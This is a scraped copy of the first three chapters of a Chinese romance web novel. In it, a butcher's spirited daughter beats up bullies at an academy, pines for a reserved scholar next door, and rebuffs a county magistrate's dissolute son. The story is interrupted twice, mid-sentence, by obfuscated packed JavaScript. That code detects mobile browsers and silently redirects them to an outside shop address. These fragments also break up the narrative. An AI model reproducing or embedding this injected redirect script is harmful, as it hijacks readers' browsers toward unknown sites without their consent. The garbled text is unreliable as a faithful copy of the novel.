《皇太子驯养指南》 1. 大闹书院 一女对三男,完胜 “笃笃笃”“笃笃笃笃”! 布满伤痕的大手抡起砍刀,精准断在每一个骨隙中,三两下就将猪大骨剔出来,丢入麻叶里,两只大手折一折攒成三角形状,红绳一系,麻溜地递给客人。 “三十文。” 对方把钱拍在案板上,提溜着麻绳走了。 范屠户把铜板扫入掌心,钱箱里一丢,撞出叮当的响声,听得他嘴角一乐。 “哎,胡大娘,又来给孙儿买肉啦?还是来二两后腿腱子?”他手拨弄着案板上的肉,熟络地招呼客人。 “一两就成。”胡大娘低头去荷包里摸索铜板,待数完钱抬头,却见范屠户身后空空如也。 “哎?今儿你家乐乐没来?” “没呢。”范屠户低头劈着肉,不愿多谈。 胡大娘会心一笑,“又追着佟家那个小子跑去了呢?” 全葫芦巷的人都知道,范屠户家的女儿范乐乐是佟瓦匠家大儿子的跟屁虫。 范屠户只是苦笑,装作没听到,用麻叶把腱子肉包一包,递过去,“来,给您扎紧了,拿好咯。” 胡大娘一手递钱一手接过肉,还是忍不住多嘴:“你家乐乐呀,顶好一姑娘,就是这女娃儿啊……太主动了不好,容易吃亏。” 范屠户知道她是好心,只好笑着搪塞。都是看着乐乐长大的老乡邻,大家对这个女娃是真喜爱。 范屠户这家店名为“欢乐肉铺”,在这浔阳县里可谓远近闻名,县里头许多人都爱做他家生意。不仅为着他家店肉质鲜美、价格公道,更重要的是这家店的小老板——他的独女范乐乐,年方二八,貌美如花,为人又爽利大方,是浔阳县里头数一数二的美人。她往案板后一站,就是他们家店最大的招牌。 最早的时候,小姑娘刚被她爹带出来做生意,人还没到案板高,跳着帮她爹数钱。小姑娘长得软糯雪白,瓷娃娃似的,嘴又伶俐,格外讨人喜欢。许多大姨递钱的时候总忍不住打趣儿她:“乐乐,以后长大了来给姨做媳妇儿好不?不答应我可不给钱了呐。” 小姑娘嘴一噘:“姨,你这才买了二两肉,拢共不过四十文钱,我可比这猪肉贵多了呐!” 大姨和范屠户齐声哈哈大乐,她连声说着这小姑娘机灵,以后肯定是个有福气的,乐呵呵提着猪肉走了。 范屠户想摸摸女儿的头,却因为手沾着血臊味儿,只好垂在身侧,对她露出慈爱的笑:“没错,我们家乐乐呀是爹的心头肉,千金不换。” 范屠户只有这么一个独女,又是老来得女——二十八岁才有的乐乐,宝贝得跟眼珠子似的。乐乐刚出生没几年,妻子就因为没挨过老家的饥荒,饿死了。他带着乐乐一路南逃,终于在这浔阳县扎根谋生。由于一直没找着合适的小娘子,他又怕委屈了乐乐,便始终没有续弦。 一个大男人,竟也就这么把女儿拉扯大了。 范乐乐长到十七岁,人出落得亭亭玉立,小仙女儿似的清美,可她往案板后一站,手上的砍刀一抡,手起刀落,迅捷精准,丝毫不含糊。“杀猪西施”的美称渐渐传开来,堪称长平街上一道靓丽风景,因着这个女儿,猪肉铺的生意竟是更蒸蒸日上起来。 只不过今日,肉铺只有他一个人站岗。胡大娘猜的没错,范乐乐大中午地便拎着个食盒,又跑去琅岳书院给佟暄送午饭去了。 哎,一想起佟暄,他就愁眉不展。 佟暄是隔壁佟家的小儿子,但范屠户知道,他是佟氏夫妇收养的亲戚小孩儿,并非亲生。佟暄从小就长得清俊出挑,人又才思敏捷,确是个人中龙凤的好苗子。 有一日,范屠户歇了铺子,琅岳书院正好下学,一堆小学子从桥那头走过来,佟暄就被他们簇拥在中间,步履从容,端方清雅。 那感觉怎么说呢?范屠户没文化,他形容不出来,就是觉得佟暄跟旁人不一样。分明都穿着一样的学子服,可佟暄就是穿出了贵气,周身像笼了层光似的,有如天人下凡。 怪不得他家乐乐喜欢呢。他心里想,又止不住叹气,只可惜,自家女儿这是剃头担子一头热,那个佟暄,明显就看不上他家乐乐嘛。 乐乐是他从小疼到大的宝贝,他可不愿女儿总热脸贴人家冷屁股。但没办法,这闺女不受拘束惯了,做什么都直来直去的,女儿家的怀春心思,他这个当爹的又能怎么办呢? 愁啊愁。 “老板,来三两梅头肉。”铺子前又来了一个客人,布衣平头,抬头对着挂在案板上的肉,就开始比比划划:“要这块,就从这儿到这儿……” 范屠户将肉块从钩子上卸下来,刀一挥就要往下剁。 “范叔!不好了不好了!出事了!” 一少年高呼着,扒拉开重重人群,冲到“欢乐肉铺”前。是琅山书院的学生,方恺。方恺是佟暄在书院的同窗,跟范乐乐也算交好。 “怎么了?乐乐出什么了事了吗?”范屠户一见他满头大汗的着急样儿,自己首先就吓着了。 “乐乐刚在书院同人打起来了!山长很生气,说一定要通知她爹,亲自过去领人才行。” “啪”!范屠户把刀一拍,身子倾过去,“怎么样?严不严重?” 方恺咽了下口水,刚想说乐乐没事。 “我家乐乐她跟人没动刀吧?!” 方恺:“……” 被晾在一边的吃瓜客人:“……” 不愧是亲爹,确实了解他女儿。这打人一事,的确就是范乐乐挑起的。 范屠户歇了铺子,收拾收拾就跟方恺往书院赶。 “不是我说,乐乐可真跟够可以的,她一个姑娘家,单挑我们书院仨男生,还把他们个个打得屁滚尿流、跪地求饶……” 范屠户听他夸大其词的吹嘘,没一个在重点上,忙打断:“原因呢?被打的都有谁?” “这……原因我也不知,夫子刚把他们分开就让我来通知您了。” 他背着手点头,心里有了计较,八成又是跟那个佟暄有关。他家那个丫头,滋要是碰着佟暄的事儿,保准一点就着。 尤记得乐乐八岁那年,巷子里有个混小子捉了条蛇丢进佟暄的书箧里捉弄他。范乐乐知道了后,直接骑到那个小子的脖子上,连打带骂,硬生生把他额前的头发都薅秃了一片。 “乐乐这次打的,一个叫方贵,一个叫周济明。哦,还有一个是王允。” “嗯。”范屠户心不在焉地点头,只是闷头往前赶,他因为右腿有点瘸,走路总比一般人慢。 “您可能有所不知……王允,就是那个王员外的儿子。” “你说谁?!”范屠户吓得钉住了脚。 王员外?这哪儿是他一个卖猪肉的惹得起的人?这个不知天高地厚的丫头,他就知道,总有一日要给自己捅个天窟窿出来。看这回不扒了她的皮! “王员外”三个字一出,彻底点燃了这位操心的老父亲,他袖子一撸,打起飞脚就往书院的方向冲。 方恺看着范屠户飞奔的背影,因着右腿短了一截,跑起来左摇右摆的,像个上蹿下跳的大马猴,说不出来的滑稽。 这老父亲的背影,叫方恺涌起一股心酸。 哎。他心里长叹口气,提起衣袍,小跑着跟上去。 * 琅岳书院。 范屠户一瘸一拐地爬上半山腰,终于摸到琅岳书院的大门,他这一路过来跑得太急,短了的右腿压得有点疼。 他咬牙扶住右膝盖,就要迈过门槛去。 “范叔,我来,您慢点。”方恺忙伸出手去搀他。 范屠户忍着腿疼,又摇摇摆摆,快步往洪玉山长的斋舍去。 一进斋舍门,他就看到面对着墙壁罚站思过的范乐乐。 她脑袋耷拉着,早上出门还盘得齐整的双环髻已经是扯得七零八落,杏黄小袄滚了一身泥,像只灰扑扑的小鹌鹑。 范屠户火气蹭一下就窜上来,大吼一句:“你个逆女!”抬掌就要去打,范乐乐肩膀一哆嗦,忙不迭侧过身去躲。 方恺拦腰抱住范屠户,劝他冷静,坐在书桌前的山长摆摆手,灰白长髯在空中荡了下,不紧不慢开口:“乐乐她爹,先莫急,过来坐。” 范屠户这才收了势,朝着山长行个礼,口里连声说着抱歉:“是我管教不严,给山长您添麻烦了。” 范乐乐虽说并不是书院的学子,但她从小就爱往书院跑,和不少学子都打成一片,山长袁弘佐也算是对她很熟悉了,几乎就是她半个夫子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459476|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 袁弘佐请他坐下,范屠户忐忑不安地在他对面入座,搓着手来回看一圈,“那个……佟暄呢?还有那几个被打的孩子?” 山长皱眉,手捋住胡子,“你找佟暄做什么?” “这事儿不是因为他吗?” 山长摇摇头,范屠户傻眼了。这次居然不为了佟暄? 原是今儿晌午,范乐乐上山来给佟暄送饭,遇见了躲在灌木丛里的发小吴松明。他被以王允为首的几个人推着搡着扒了个精光,扔进草丛里,那群混小子又吆喝着将他的衣物带回了书院。 吴松明就这样光裸着身子,在草丛里躲了小半个时辰,叫天天不应叫地地不灵,被蚊虫叮了一身包,可又实在不敢出来。 就在吴松明绝望之际,却听见范乐乐踏着石子儿、哼着小曲儿,乐颠颠地上山来了。他欣喜万分,赶紧掩在草丛中,叫住了范乐乐。 吴松明本想叫范乐乐帮忙拿回自己的衣服就成,可没想到,范乐乐一见吴松明又被欺负了,气得冲进书院,食盒一放,抡起拳头就朝王允那个罪魁祸首招呼。 一番厮打后,还是在书院学子们的极力劝架下,方才将几个人拉开。三个大男生对一个小姑娘,竟是一点上风都没有占到。 “那王员外的儿子,被令爱打得……脸都青了大半边了。”山长沉重地感叹。 范屠户听完后,在椅子上懵了会儿,忍不住瞥眼自家姑娘,吞吐道:“那乐乐这算不算是……见义勇为?” 听爹爹如此说,范乐乐没忍住偏过头,委屈的眼神就要去寻她爹。山长吹瞪个胡子,细长的眼睛拉她,拿起桌上的戒尺一拍。 范乐乐一抖,又老实地把脸转向墙壁。 “话虽如此,可终究是她先动手打的人,就是有错在先。”山长又朝着范屠户语重心长道:“书院是学子们读书的地方,清正雅言之地,怎么能动不动就喊打喊杀呢?这成何体统?!” 山长语气变重了,他瞧出来范屠户是个娇惯女儿的主,遂做起了为人父母的思想教育工作。 “遇到任何问题,都要好言相劝为上,动用暴力是万万使不得的。况王允他们若真有欺辱同窗的行为,乐乐她应该先来告知于我,我自会去教诲他们的,怎么能轮到她一个女娃动手呢?这……像什么话呀……” 范乐乐瘪嘴,对着墙壁嘟囔:“真是的……就会一张嘴扒拉扒拉,也没少见你教诲他们,吴松明还不是总被他们欺负……” “你说什么呢?谁准你在那边嘀嘀咕咕的!山长说话就听着!那是为你好!” 范屠户听女儿在那边叽里咕噜,只是听不清她在说什么,估计也没好话。眼见的山长脸色又黑了,他赶忙抢先训话一顿。 范乐乐闭嘴噤声,山长这才脸色稍霁,长舒口气,又继续对着范屠户进行思想教育。 袁弘佐料想他是个杀猪的,没什么学识,所以才会把女儿教养得如此粗鄙。想来自己肯拨冗给他点播,范屠户和她女儿该感激涕零才是。 “这为人父母而教子女,一定要令行禁止……”山长还在叨叨叨,嘴里如唐僧念经 啊!累死了! 范乐乐对着墙壁抬头,她都已经站了快一个时辰了,浑身疼得不行,只想活动活动筋骨。可身后那四道时不时射来的严厉目光,督促得她根本不敢轻举妄动。 凭她对山长的了解,没个三炷香功夫,这谈话根本完不了。 天爷呀……快点大发慈悲救救我吧…… “夫子。” 斋舍门口传来一道清冽的声音,如缓缓清泉,从范乐乐心上流过。 她唰地转头,眼睛瞬间亮起,嘴角不自觉翘起一个弧度。 门槛边,少年一身月白襕袍,临风而立,不动如山,简朴的粗制麻衣却被他穿出了雍容的贵气。雅正端方,温润清俊,鼻尖一点小痣,却又似增几分魅惑。屋门外竹影簌簌,在他身后落了一地,他眉眼端稳,朝夫子缓缓行礼,清澈的书卷气下是暗暗涌动的深沉气势。 范屠户见佟暄一出现,闺女就只知道傻盯着人家看,气不打一处来,狠命瞪着个眼睛警告她,可眼珠子都瞪疼了,她还只是恍然不觉。 他气得直揉眼睛。这个傻闺女,现在退货还来得及吗? 2. 暗中庇佑 “佟暄,何事?” 山长见他的得意门生来了,立刻换做一副和蔼的面庞。 “过几日宣王殿下要来书院拜访,一切正在打点,夫子可看看还有何疏漏之处?”佟暄行礼而回。 “是是,此为正事,我马上过去。” 被佟暄打了岔,夫子也没心思接着传道了,又叮嘱了范屠户几句,托佟暄替他送客,便去应付上峰来巡查的事宜。 斋舍里就剩父女二人,佟暄眼神掠过范乐乐,见她歪斜地靠着墙壁,似终于松泛了下来,遂不去看她,转而朝范屠户行个礼,“范叔。” “哎。”范屠户连忙应声。 他看着眉眼低平的佟暄,心中不由感叹。这孩子向来谦逊平和,叫人挑不出错,可他温润有礼的背后,总叫范屠户觉出一股冷漠疏离。 对于乐乐的热情,他也总是这样不咸不淡,叫人猜不透心思。 范屠户是有点怕他的,他也不知道,自己为什么要怕一个不过十八岁的隔壁泥瓦匠的儿子。 但佟暄身上就是有种气势,恍若一个天生的上位者,叫他隐隐约约生出畏惧。 三人从斋舍里出来。 佟暄宽袍广袖,稳步走在前。 范家父女耷拉着肩,老老实实跟在后面。 范屠户是怕他,遂不怎么作声,范乐乐是因为刚被夫子训过,气焰压下去了不少,也不似之前那样叽叽喳喳缠着他了。 眼看着就要走到书院大门,范乐乐终是没忍住,快走两步上前,“那个……你饭吃了没?” 她是看今早屠宰场送来的排骨新鲜,忍不住闷了一锅给他送来,就想叫他尝口热乎的。没想到自己一来就惹了事,估计弄得他饭也没吃好。 “还没。”他淡淡回。 “啊?”范乐乐瞪大个眼。 他冷白的眼皮凉凉垂下,瞥眼看她,长睫打下一圈阴翳,更乖,却也似乎更冷了。“刚刚忙着给你们拉架,没工夫吃。” 范乐乐:“……”果然,是自己耽误了,愧疚感瞬间原地爆棚。 “那……我刚刚罚站那么久的时间呢……” “那会儿又去替夫子准备宣王拜访的事,没顾得上吃饭。” 范乐乐听他这么一说,心疼得小脸都皱起来了,拽起他的袖子就往回走,“走!吃饭去,我看着你吃!” 这个人真的是,一点也不知道照顾自己。 看着他们亲密背影的操心老父亲范屠户:“……” 怎么就没人关心我吃没吃呢?! 范乐乐没走几步,忽而想起什么,连忙松开他手,回身搀住她爹,“爹,我今儿早上特意给你留了一大碗排骨,炖得那叫一个软烂呦……真的,我手艺又进步了,回家我就给你热上!你尝尝。” 闺女不过三两句话,立马将他哄高兴了,吹开胡子笑了。“好,我闺女手艺肯定错不了!” 其实范乐乐的手艺算不上特别好。 过去,因着家里没有母亲,范屠户一个人又要带娃又要杀猪,实在忙不过来,乐乐还很小的时候就学着帮家里操持家务。 那个时候她只有七岁,人都没有灶台高,小小的人儿趴进灶膛里生火,火起了,再搬个小板凳,往锅里添水添米。谁知一个没踩稳,人从板凳上跌下来,差点滚进灶膛里。火舌把小姑娘的眉毛燎着了,眉骨那里火辣辣的疼。 她吓得呆住了,人愣坐了好一会儿,才开始哭,一边哭一边往外头爬。小姑娘凄厉的哭嚎声越过围墙,恰被隔壁正在书屋温习的佟暄听到,他撇下书,冲开范家的院门,将趴在厨房门槛上哭得脏兮兮的小姑娘抱起。 “哥哥……疼……辣……”她哭得嘴咧开,鼻涕眼泪哗哗往里灌。 佟暄却是拧着眉头,一个安慰的字也没有,抄起小姑娘蹲到水缸边,把她仰面摊到大腿上,一手抱住她,一手拿起葫芦瓢,舀水不停往她脸上浇。 范乐乐被突如其来的冷水激到,蹬着腿脚挣扎,却被头顶严厉的声音呵止:“不想你的脸上烧出个窟窿,就给我安静点。” 他真是一点也不会哄人,只会说怕人的话来吓唬她。但却对范乐乐很管用,她收住了哭,乖巧地任他处理脸上的伤口。 佟暄用冷水替她将烧伤迅速冷却,随后将她放到小马扎上,蹲下身,手指挖一大勺膏药,在她眉毛上涂开。 他药上得很仔细,头微微仰着,一双墨黑的瞳仁专注极了。那是范乐乐第一次这么近看他,瓷白无瑕的脸细腻柔软,鼻尖一粒小痣平添风流俊雅。夕阳斜照,染橘了他脸上的细小绒毛,为他整个人镀上一层温暖的色彩。 范乐乐在他的瞳孔里看见了自己,乱糟糟的小脸慌张无措,像只刚滚过泥地的小花猫。那时,她才发觉,原来他的眼睛竟是这样清澈。 初始的惊慌被安抚,她两只小手紧紧扣住小马扎的边缘,腿在空中晃荡着,却觉得无比安心。想起刚刚被他抱在怀里,原来看起来这么冰冷的一个人,怀抱却是那样温暖,那样宽大。 那日范屠户回来后,看见女儿光秃秃的眉毛,吓得抱起女儿就哭,范乐乐见爹爹哭了,又生出后怕来,也窝在他怀里淌眼泪。 范屠户责问她为什么要跑去厨房玩火,她说自己看爹爹太辛苦,想要学做饭,好让他回来至少能有口热粥喝。 范屠户一听,愈发哭天抢地起来,搂着她心肝宝贝地叫。女儿的懂事叫他心疼。就是从那以后,范屠户严禁范乐乐再碰灶台,或者自己歇了铺子后回来做饭,或者送乐乐到隔壁佟家蹭饭。直到范乐乐长到十四五岁,人终于高出灶台一截了,范屠户方才敢让她开始学。 所以范乐乐这手艺,也就是个刚起步的水平。 眼看着自己宝贝到大的女儿厨艺日渐精进,却要巴巴地把她做的菜送到另一个小子嘴里,而且那小子看样子还不是很领情,范屠户这心里呀,说不出的怄气。 “呀!这菜都凉透了,不行不行,先别吃了。”范乐乐把食盒盖回去。 “无妨。”佟暄接过食盒,打开盖子,将碟子一层层摆出来。 “可是……凉了都不好吃了。”她弱弱地嘟囔。 他没回话,低头夹起一块冷排骨,慢悠悠送到嘴里。 范乐乐紧张地盯着他,见他咽下去第一口,忙期待地道:“怎么样?好吃吗?” “还行。”他点头。 只是得到一个“还行”,范乐乐却立马乐开了花。 范屠户在一边看得咬牙切齿,那叫一个气呀! “还行”?什么叫“还行”?那可是她宝贝女儿一大早起来辛辛苦苦剁的排骨!就算不好吃他也得说天下第一美味,结果就换来他一个“还行”?也不知道他那个傻闺女在乐什么。 他越想越气,那不满也就从眼神里泄露出来,仿佛恨不能将他脸上烧出个洞来。 佟暄又夹起一块排骨,送到嘴边,无意间一个抬眸,恰与范屠户的眼神对上。范屠户吓得一惊,下意识就闪躲开。避开后,他又咂摸出味儿来,不对呀!范岩你到底怕他什么?他不过一个十八岁的泥瓦匠家娃娃,你怕他做什么?! 他想着,脊背一挺,拿出了维护女儿的架势,“‘还行’是什么意思?这我闺女一大早起来特地炖的排骨,我都还没吃上呢,你爱吃吃,不爱吃拉倒!年轻人,说话给我注意点。” “爹!”范乐乐嗔怪地拍他一下。 佟暄咽下口中的食物,默默放下筷子,沉静的眼眸深深看了眼范屠户。只瞬间,范屠户心没来由地咯噔,像是被命运扼住了喉咙,嘴巴一下子就木了,说不出话来。 缓缓,他勾出一抹温润的笑,“范叔说的是,是我唐突了。乐乐的手艺很好,我很喜欢。”他模样端方有礼,话也说得诚恳,仿佛刚刚眼底的冷冽只是范屠户的幻觉。 他心中虚抹下汗,毫无气势地道:“行……年轻人知错就改是好事。” 他转过点身子,拍一下还在痴看着佟暄的女儿,将范乐乐打得人都歪了过去。“你说说你!成天价在外头惹是生非,什么时候才能让我省点心?!” “我怎么了嘛?”范乐乐捂住头,心虚地嘟囔。 “你说你怎么了?!你打了王员外的儿子!王员外!那是什么人?知县老爷见了都要礼让三分,你敢上去把他儿子打了?范乐乐,你真是皮痒了吧你?我看你是太久没挨揍了!” “我那是打抱不平!员外的儿子就可以欺负人了?哪条王法规定的?你拿出来我看看?”她却挺直了小腰板,理直气也壮。 佟暄只是往嘴里送着饭,静观父女俩炸雷式的吵架。 “你正义?你有理?你那叫不自量力!胳膊还想去拧大腿,鸡蛋也敢去碰石头。”范屠户说着泄了气,“若是王员外真因为这个记恨上了,寻衅找咱们麻烦,你以为爹爹能怎么办?”他一个杀猪的,还不是只有任人宰割的份儿? “爹爹没本事……就怕……就怕护不住你啊……” “爹,你怎么会这么想呢?我们是正义的一方,不怕的。”她鼓着个小脸,煞有介事道:“常言说得好,善有善报,恶有恶报,王员外的儿子一定会有他的恶报的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459477|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 范乐乐会有此认知,不是因为她天真,实在是许多次的经验,都验证了这一点,从而使她深信不疑。 “就说上一次,那个非礼我的韩捕头,您还记得吧?” “当然了。”范屠户点点头。他对那个韩捕头印象简直不要太深,他总爱光顾“欢乐肉铺”,每次一来,眼睛就色眯眯地往乐乐身上瞟。直到那一次,竟然趁他不在,摸了一把乐乐的屁股。 范乐乐当即气得抄起两把杀猪刀,硬生生追着他跑出了两条街。范屠户虽然恨,却是民不与官斗,拿他莫可奈何,只能咽下这口恶气。 “他非礼我了之后没几天,就被人发现溺死在了兰溪河里,你说巧不巧?这可不就是恶有恶报吗?老天爷来收他的狗命哩。” 范屠户只是默默点头,巧,确实巧。 佟暄夹起一条青菜,优雅地送进嘴里,默不作声地品味着。 “再说还有一次,老杨头差点被逼着卖了女儿,您记得吧?” 范屠户又点头。那也是托范乐乐的福,惹出的一档子事儿。街巷口的老杨头好赌,赌到倾家荡产还不上,被逼着卖女儿抵债。那日赌场过来拿人,老杨头的女儿死活不乐意,姑娘也是个烈性子,闹得轰轰烈烈,差点没一头撞死,里外的街坊都围过来瞧热闹。 范乐乐听着动静,拎起她那把用顺手的刀,直冲过来,拦在老杨头女儿面前,刀刃对着赌场那群人,大喊谁再过来就砍死他。颇有种一夫当关万夫莫开的气势,一时也真把那群汉子唬住了。 后来也不知是谁甩出个刀鞘,拍在范乐乐手臂上,当场噶次一声,骨头裂了,疼得范乐乐龇着牙,刀也拿不住。赌场的人便一哄而上,硬生生将老杨头女儿拽走。 范屠户也是事后才听人说,登时吓得后怕,冷汗涔涔,夜里觉也睡不好,生怕哪天麻烦找上门。范乐乐的手则包成个了粽子,硬是过了月余才好全。 “老杨头女儿被拉走后,又过了三日,那赌场就被整个一锅端了!这还不巧?这还不就是他们的恶报来了?” 范屠户又是默默点头,陷入沉思。 常常,他也觉得奇怪,仿佛女儿做什么,都有老天爷在替她擦屁股,好为了验证这个世界上是真的能够“善有善报恶有恶报”般。 佟暄吐出块骨头,执起手帕擦了擦嘴,依旧是沉默不语。 “所以嘛,我不怕!”她说着,拍拍胸脯,壮志豪情道:“正义,是站在我们这一边的!” 佟暄收拾好食盒起身,站在了范乐乐身边,高挑的身子打下来阴影,笼在范乐乐白团团的小脸儿上。 “咦?你吃好了?”她仰头,傻乎乎地看他笑。 “嗯。”他朝范屠户行个礼,“范叔,您和乐乐在这儿稍作歇息,夫子找我还有事,就先走了,见谅。” 范屠户连声应着你忙,范乐乐只好眼巴巴地,目送佟暄离开。 他瞧乐乐那痴儿样,又想起她那笃信不疑的“善有善报恶有恶报”,心中一股隐忧越发强烈。 女儿大了,过了立夏,转眼便要十七了。自范乐乐及笄起,范屠户就马不停蹄给乐乐寻起了婆家。 非是他做爹的不想养女儿了,他家乐乐长到多大他都养得起。只是乐乐到了可以嫁人的年纪,又出落的越发水灵,县里头好多双眼睛盯着,虎狼环伺,他生怕哪天拗不过,乐乐要被人抬去给哪个有钱老头做小妾。 就这段时间,贺知县家的小儿子贺钟鸣总是来光顾他家肉铺。贺二公子什么身份的人?他用得着亲自出来买猪肉吗?不就是打的他家乐乐主意。 那个纨绔子弟,出了名的好赌好嫖,他怎么可能同意乐乐跟他?可知县老爷的儿子,不是他想拒绝就能拒绝得了,若是他到时候对乐乐下手了呢?自己一个杀猪的,胳膊拧不过大腿啊! 为这事儿,他愁得肠子都快打结了,只恨当初没能早点把乐乐嫁出去,害她白白苦等了佟暄这许多年,也没等出个结果。 佟暄那个臭小子,摆明了没有要娶乐乐的心思,否则的话,女大当婚男大当嫁的年纪,他早该托媒人上门提亲了! “乐乐……”他开口,犹豫着怎么同她说。 “怎么了?爹?”她把刚打开的食盒盖上,见佟暄把她做的菜吃了个干净,心情好着呢,转头冲爹爹一笑,明眸皓齿,似把春风都给点亮了。 范屠户叹气,不忍开口,只是强扯出笑,“我们……走吧……” 走吧,只能是走一步看一步吧。或许真能如乐乐所说,她总是能够“善有善报恶有恶报”呢? 3. 勇拒纨绔 欢乐肉铺。 整洁的案桌前,一绺绺鲜红肉条垂挂下来。范乐乐一身水青色葛布麻衣,襻膊将衣袖高高束起,头发用木簪利索地绾一个高髻,粗拙的打扮反叫她原本明艳的五官生出几分清丽,衣带一勒,小腰不盈一握,似雨打海棠般的风姿。 来往的人无不朝这位清婉的小娘子投去欣赏的目光。 可忽地,只见她奋力抡起手中的砍刀,精准切在骨肉间的缝隙处,嚓嚓几下,一晃眼功夫,整块猪肋排被她大卸八块。案板上被剁得血肉横飞,可她仍旧面不改色,刀背按住排骨一划,丢进旁边的篓子里。 众看官不由倒吸一口凉气,或有那想要上前搭讪的,也被她这套迅捷无影的刀法吓退了脚步。 这小娘子看着娇娇小小,却是个不好惹的。 这个点正值正午,来买肉的人少,范乐乐处理好了排骨,手背揩揩额头的汗,在案板边的水盆里洗净手,顺势在凳子上坐下。 她百无聊赖地扇动蒲叶,驱赶闻着味儿来的苍蝇,浅浅打个哈欠。 正午实在无聊犯困,她掀开篓子,从里面掏出一本小人书,埋头在案板后,津津有味地翻看起来。范乐乐是个大字不识的,她看书从来都只看那带画儿的。 正对着画册子傻乐,忽听隔壁烧饼铺传来爹爹与老板打招呼的声音,她忙掀开盖儿,将小人书又重新丢回篓子里,一板一眼地挺直身子,重新精神抖擞地赶起了苍蝇。 “爹!”她见范屠户跛着脚过来,笑脸相迎,接过他手里的食盒。 范屠户一见女儿就乐,“饿坏了吧?我把昨儿芳姨送来的乌鸡杀了,炖了个汤,耽搁了点。” 他把食盒往铺子里的小桌上一放,招呼女儿来吃饭。 恰此时,有个顾客过来切肉,范屠户接过手,让女儿安心在后头吃饭。 范乐乐和范屠户每天轮流倒班儿,若是爹爹看铺子,女儿便负责做饭,若是女儿看铺子,爹爹便负责做饭。在范屠户正式同意范乐乐上灶台前,都是他铺子里、家里两头回忙活,现在闺女长大了,能帮忙分担点了。 顾客提肉付钱走了,范屠户举起毛巾擦了擦手,回过头看眼身后的女儿。 范乐乐坐在小桌边,周围都是半扇半扇挂着的猪肉,血呼啦扎地夹击着她。她坐于其中,乖巧地往嘴里送着饭,弯弯的眉,清透的眼,雪白的两颊被塞得鼓囊囊的,红唇一张一翕,像只贪嘴的小仓鼠。 她吃饭吃得专注,夏季天热,肉铺子里味道大,那生猪肉的腥臊味儿直冲人喉咙里,可她似浑然不觉,依然把范屠户做得饭吃出了色香味俱全的感觉来。 范屠户心中微痛。 他的乐乐啊,怎么看也不该属于着污糟的地方。可惜,她前世投错了胎,落到了他这么个屠户家里。 哎。他心中叹气。 只是希望下半生,他的乐乐能够有个好归处。夫家不需要多有权有势,关键是没有那些疙疙瘩瘩的家庭关系,让乐乐过得舒心是正经;夫君嘛也不需要多有才有貌,对乐乐好才是最重要的。 他只希望他的乐乐,平安喜乐一生,这就足够了。 范屠户正犯着愁,却听街对面有了动静,他和范乐乐同时抬头看去。 欢乐肉铺对面,一顶轿子落在街边,轿旁边走来个中年男子,个头短小,头戴朝天幞头,拎起衣袍倒腾着碎步过来。 “客观,您看看要买什么?”范屠户笑着招呼。 男子摆摆手,“我不买肉,还请范姑娘上前说话。” 咦?范乐乐奇怪地从椅子上起身,连忙咽下嘴里的饭,朝他探头望来。 范屠户一看这人,便是个大户人家管事的打扮,生怕范乐乐又惹了事儿了,叫人家找上门来,他牛眼一鼓,朝范乐乐扭头,“乐乐!你又干什么好事了?!” 范乐乐满脸冤枉,正要开口辩解,那中年男子立马阻拦,“哎哎,误会。”完事儿朝范乐乐恭恭敬敬行个礼,“范姑娘,我家公子有请。夏至将至,日头毒辣,他已在碧栖山备下山家清味,特邀姑娘上山消暑避夏,一尝鲜野。”说完,朝着身后的轿子比个手势。 父女俩都愣住了。 公子?哪家公子?范乐乐一头雾水,她怎么不记得自己认识什么公子? 范屠户心中警铃大作,一个不好的揣测升上心头,“请问您家公子是……?” “贺钟鸣,贺公子。” 范屠户倒吸一口凉气。果然是贺知县的那个败家小儿子! 贺知县到任不久,来浔阳县也才不过一年有余,但他家小儿子那个招猫逗狗、眠花宿柳的荒唐作风,却是很快便在浔阳县传开了。 没想到这小子竟真对乐乐起了贼心,范屠户是一百个不乐意,可知县的儿子,他一个杀猪的,要如何拒绝? 他嘴巴嚅嗫着,正不知如何开口,却听得范乐乐把筷子啪地一放,“我不去。” 中年男子的笑容僵在嘴边。 范乐乐走上前来,褪去了刚刚一时冲上头的脑热,立马摆出个和气的笑脸,眉眼弯弯,笑容甜甜,任谁看了都不忍说她个重话。“这位大哥,麻烦您替我转告一声,多谢贺公子的好意,奴家心领了。可您看看我这身打扮,就怕真过去了,别再熏着贺公子,倒是搅扰了他的好兴致,我这心里头才过意不去呢。” 她一边说着,手上包了一大包鲜排骨,递过去,“这个是今日新鲜剁的排骨,您拿去,就当是我给贺公子赔个不是了。” “可姑娘……”那人没接她排骨,还想争取一下,范乐乐将排骨放他面前的案桌上,施施行个万福,转身继续吃她的饭去了。 中年男子:“……” 这姑娘软硬兼施地,叫他碰了一鼻子灰,只好悻悻地接过排骨,转身朝那群轿夫们一挥手,跟在空轿子旁,又原本原样地打道回府了。 “乐乐,这可怎生是好?”范屠户撇着两道粗犷的浓眉,担忧道。 “爹,我不都把他打发走了吗?”她抱起小碗砸了口汤,舒服地喟叹一声。 范屠户可没女儿这么淡定,“那可是知县家公子!他这……这……之前他老来咱家买肉,我就觉出不对劲了,果然!” 他跛着脚来回转悠,急得像热锅上的蚂蚁,“那所以现在我们怎么办?你不可能真跟了那个畜牲吧?这个人可不行啊,别说是知县家儿子了,就他这德行,哪怕是……哪怕是太子,我也不同意你嫁!” 